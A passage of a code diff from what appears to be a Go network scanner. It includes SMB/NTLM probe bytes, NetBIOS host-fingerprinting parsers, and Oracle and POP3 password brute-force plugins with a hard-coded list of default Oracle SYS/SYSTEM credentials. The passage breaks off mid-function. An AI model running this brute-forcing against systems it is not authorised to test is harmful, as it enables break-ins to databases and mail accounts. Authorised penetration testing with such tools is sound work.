0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
NegotiateSMBv1Data2 = []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
)
|
||||
|
||||
type NetBiosInfo struct {
|
||||
GroupName string
|
||||
WorkstationService string `yaml:"WorkstationService"`
|
||||
ServerService string `yaml:"ServerService"`
|
||||
DomainName string `yaml:"DomainName"`
|
||||
DomainControllers string `yaml:"DomainControllers"`
|
||||
ComputerName string `yaml:"ComputerName"`
|
||||
OsVersion string `yaml:"OsVersion"`
|
||||
NetDomainName string `yaml:"NetBiosDomainName"`
|
||||
NetComputerName string `yaml:"NetBiosComputerName"`
|
||||
}
|
||||
|
||||
func (info *NetBiosInfo) String() (output string) {
|
||||
var text string
|
||||
//ComputerName 信息比较全
|
||||
if info.ComputerName != "" {
|
||||
if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
|
||||
text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
|
||||
} else {
|
||||
text = info.ComputerName
|
||||
}
|
||||
} else {
|
||||
//组信息
|
||||
if info.DomainName != "" {
|
||||
text += info.DomainName
|
||||
text += "\\"
|
||||
} else if info.NetDomainName != "" {
|
||||
text += info.NetDomainName
|
||||
text += "\\"
|
||||
}
|
||||
//机器名
|
||||
if info.ServerService != "" {
|
||||
text += info.ServerService
|
||||
} else if info.WorkstationService != "" {
|
||||
text += info.WorkstationService
|
||||
} else if info.NetComputerName != "" {
|
||||
text += info.NetComputerName
|
||||
}
|
||||
}
|
||||
if text == "" {
|
||||
} else if info.DomainControllers != "" {
|
||||
output = fmt.Sprintf("DC:%-24s", text)
|
||||
} else {
|
||||
output = fmt.Sprintf("%-30s", text)
|
||||
}
|
||||
if info.OsVersion != "" {
|
||||
output += " " + info.OsVersion
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(input) < 57 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
data := input[57:]
|
||||
var num int
|
||||
num, err = bytetoint(input[56:57][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var msg string
|
||||
for i := 0; i < num; i++ {
|
||||
if len(data) < 18*i+16 {
|
||||
break
|
||||
}
|
||||
name := string(data[18*i : 18*i+15])
|
||||
flag_bit := data[18*i+15 : 18*i+16]
|
||||
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
||||
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
||||
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
|
||||
name_flags := data[18*i+16 : 18*i+18][0]
|
||||
if name_flags >= 128 {
|
||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
||||
}
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s \n", name)
|
||||
}
|
||||
}
|
||||
if len(msg) == 0 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||
if netbios.DomainName != "" {
|
||||
netbios.GroupName = netbios.DomainName
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(ret) < 47 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
var num1, num2 int
|
||||
num1, err = bytetoint(ret[43:44][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[44:45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length := num1 + num2*256
|
||||
if len(ret) < 48+length {
|
||||
return
|
||||
}
|
||||
os_version := ret[47+length:]
|
||||
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
|
||||
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
|
||||
ostext := string(tmp1[:len(tmp1)-1])
|
||||
ss := strings.Split(ostext, "|")
|
||||
netbios.OsVersion = ss[0]
|
||||
start := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if len(ret) < start+45 {
|
||||
return
|
||||
}
|
||||
num1, err = bytetoint(ret[start+40 : start+41][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[start+41 : start+42][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length = num1 + num2*256
|
||||
_, err = bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
offset, err := bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil || len(ret) < start+offset+length {
|
||||
return
|
||||
}
|
||||
var msg string
|
||||
index := start + offset
|
||||
for index < start+offset+length {
|
||||
item_type := ret[index : index+2]
|
||||
num1, err = bytetoint(ret[index+2 : index+3][0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
num2, err = bytetoint(ret[index+3 : index+4][0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
item_length := num1 + num2*256
|
||||
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
|
||||
index += 4 + item_length
|
||||
if string(item_type) == "\x07\x00" {
|
||||
//Time stamp, 不需要输出
|
||||
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
|
||||
msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
|
||||
} else if string(item_type) == "\x00\x00" {
|
||||
break
|
||||
}
|
||||
}
|
||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||
return
|
||||
}
|
||||
|
||||
func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
|
||||
netbios1.ComputerName = netbios2.ComputerName
|
||||
netbios1.NetDomainName = netbios2.NetDomainName
|
||||
netbios1.NetComputerName = netbios2.NetComputerName
|
||||
if netbios2.DomainName != "" {
|
||||
netbios1.DomainName = netbios2.DomainName
|
||||
}
|
||||
netbios1.OsVersion = netbios2.OsVersion
|
||||
return netbios1
|
||||
}
|
||||
@@ -1,435 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
_ "github.com/sijms/go-ora/v2"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// OracleCredential 表示一个Oracle凭据
|
||||
type OracleCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// OracleScanResult 表示Oracle扫描结果
|
||||
type OracleScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential OracleCredential
|
||||
ServiceName string
|
||||
}
|
||||
|
||||
// 常见Oracle服务名列表
|
||||
var commonServiceNames = []string{"XE", "ORCL", "ORCLPDB1", "XEPDB1", "PDBORCL"}
|
||||
|
||||
func OracleScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建常见高危凭据列表(优先测试)
|
||||
highRiskCredentials := []OracleCredential{
|
||||
{Username: "SYS", Password: "123456"},
|
||||
{Username: "SYSTEM", Password: "123456"},
|
||||
{Username: "SYS", Password: "oracle"},
|
||||
{Username: "SYSTEM", Password: "oracle"},
|
||||
{Username: "SYS", Password: "password"},
|
||||
{Username: "SYSTEM", Password: "password"},
|
||||
{Username: "SYS", Password: "sys123"},
|
||||
{Username: "SYS", Password: "change_on_install"},
|
||||
{Username: "SYSTEM", Password: "manager"},
|
||||
}
|
||||
|
||||
// 先尝试常见高危凭据
|
||||
Common.LogDebug("尝试常见高危凭据...")
|
||||
for _, cred := range highRiskCredentials {
|
||||
result := tryAllServiceNames(ctx, info, cred, Common.Timeout, 1)
|
||||
if result != nil && result.Success {
|
||||
saveOracleResult(info, target, result.Credential, result.ServiceName)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// 构建完整凭据列表
|
||||
var credentials []OracleCredential
|
||||
for _, user := range Common.Userdict["oracle"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
// 转换用户名为大写,提高匹配率
|
||||
credentials = append(credentials, OracleCredential{
|
||||
Username: strings.ToUpper(user),
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["oracle"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentOracleScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveOracleResult(info, target, result.Credential, result.ServiceName)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Oracle扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(highRiskCredentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryAllServiceNames 尝试所有常见服务名
|
||||
func tryAllServiceNames(ctx context.Context, info *Common.HostInfo, credential OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
|
||||
for _, serviceName := range commonServiceNames {
|
||||
result := tryOracleCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
result.ServiceName = serviceName
|
||||
return result
|
||||
}
|
||||
|
||||
// 对SYS用户尝试SYSDBA模式
|
||||
if strings.ToUpper(credential.Username) == "SYS" {
|
||||
result = tryOracleSysCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
result.ServiceName = serviceName
|
||||
return result
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// concurrentOracleScan 并发扫描Oracle服务
|
||||
func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credentials []OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *OracleScanResult, 1)
|
||||
workChan := make(chan OracleCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
// 尝试所有常见服务名
|
||||
result := tryAllServiceNames(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result != nil && result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Oracle并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryOracleCredential 尝试单个Oracle凭据
|
||||
func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &OracleScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
|
||||
// 在协程中执行数据库连接
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, false)
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
// 已超时或取消,不发送结果
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或连接超时
|
||||
var success bool
|
||||
var err error
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
success = result.success
|
||||
err = result.err
|
||||
case <-connCtx.Done():
|
||||
err = connCtx.Err()
|
||||
}
|
||||
|
||||
// 取消连接超时上下文
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &OracleScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
ServiceName: serviceName,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 如果是认证错误,不需要重试
|
||||
if strings.Contains(err.Error(), "ORA-01017") {
|
||||
break // 认证失败
|
||||
}
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &OracleScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// tryOracleSysCredential 尝试SYS用户SYSDBA模式连接
|
||||
func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &OracleScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试SYS用户SYSDBA模式: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
|
||||
// 在协程中执行数据库连接
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, true)
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
// 已超时或取消,不发送结果
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或连接超时
|
||||
var success bool
|
||||
var err error
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
success = result.success
|
||||
err = result.err
|
||||
case <-connCtx.Done():
|
||||
err = connCtx.Err()
|
||||
}
|
||||
|
||||
// 取消连接超时上下文
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &OracleScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
ServiceName: serviceName,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 如果是认证错误,不需要重试
|
||||
if strings.Contains(err.Error(), "ORA-01017") {
|
||||
break // 认证失败
|
||||
}
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &OracleScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// OracleConn 尝试Oracle连接
|
||||
func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass string, serviceName string, asSysdba bool) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
|
||||
// 构造连接字符串,添加更多参数
|
||||
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connect_timeout=%d",
|
||||
user, pass, host, port, serviceName, Common.Timeout)
|
||||
|
||||
// 对SYS用户使用SYSDBA权限
|
||||
if asSysdba {
|
||||
connStr += "&sysdba=1"
|
||||
}
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("oracle", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
db.SetMaxOpenConns(1)
|
||||
|
||||
// 使用上下文测试连接
|
||||
pingCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 测试连接
|
||||
err = db.PingContext(pingCtx)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 不需要额外的查询验证,连接成功即可
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// saveOracleResult 保存Oracle扫描结果
|
||||
func saveOracleResult(info *Common.HostInfo, target string, credential OracleCredential, serviceName string) {
|
||||
var successMsg string
|
||||
if strings.ToUpper(credential.Username) == "SYS" {
|
||||
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s (可能需要SYSDBA权限)",
|
||||
target, credential.Username, credential.Password, serviceName)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s",
|
||||
target, credential.Username, credential.Password, serviceName)
|
||||
}
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "oracle",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"service_name": serviceName,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
-414
@@ -1,414 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// POP3Credential 表示一个POP3凭据
|
||||
type POP3Credential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// POP3ScanResult 表示POP3扫描结果
|
||||
type POP3ScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential POP3Credential
|
||||
IsTLS bool
|
||||
}
|
||||
|
||||
func POP3Scan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []POP3Credential
|
||||
for _, user := range Common.Userdict["pop3"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, POP3Credential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["pop3"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描,但需要限制速率
|
||||
result := concurrentPOP3Scan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
savePOP3Result(info, target, result)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("POP3扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentPOP3Scan 并发扫描POP3服务(包含速率限制)
|
||||
func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials []POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
|
||||
// 不使用ModuleThreadNum控制并发数,必须单线程
|
||||
maxConcurrent := 1
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 1 // POP3默认并发更低
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *POP3ScanResult, 1)
|
||||
|
||||
// 创建限速通道,控制请求频率
|
||||
// 每次发送前需要从中获取令牌,确保请求间隔
|
||||
rateLimiter := make(chan struct{}, maxConcurrent)
|
||||
|
||||
// 初始填充令牌
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
rateLimiter <- struct{}{}
|
||||
}
|
||||
|
||||
// 使用动态的请求间隔
|
||||
requestInterval := 1500 * time.Millisecond // 默认间隔1.5秒
|
||||
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 创建任务队列
|
||||
taskQueue := make(chan POP3Credential, len(credentials))
|
||||
for _, cred := range credentials {
|
||||
taskQueue <- cred
|
||||
}
|
||||
close(taskQueue)
|
||||
|
||||
// 记录已处理的凭据数
|
||||
var processedCount int32
|
||||
processedCountMutex := &sync.Mutex{}
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func(workerID int) {
|
||||
defer wg.Done()
|
||||
|
||||
for credential := range taskQueue {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
case <-rateLimiter:
|
||||
// 获取令牌,可以发送请求
|
||||
processedCountMutex.Lock()
|
||||
processedCount++
|
||||
currentCount := processedCount
|
||||
processedCountMutex.Unlock()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 工作线程 %d 尝试: %s:%s",
|
||||
currentCount, len(credentials), workerID, credential.Username, credential.Password))
|
||||
|
||||
result := tryPOP3Credential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
|
||||
// 尝试完成后添加延迟,然后归还令牌
|
||||
time.Sleep(requestInterval)
|
||||
|
||||
// 未被取消的情况下归还令牌
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
// 如果已经取消,不再归还令牌
|
||||
default:
|
||||
rateLimiter <- struct{}{}
|
||||
}
|
||||
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
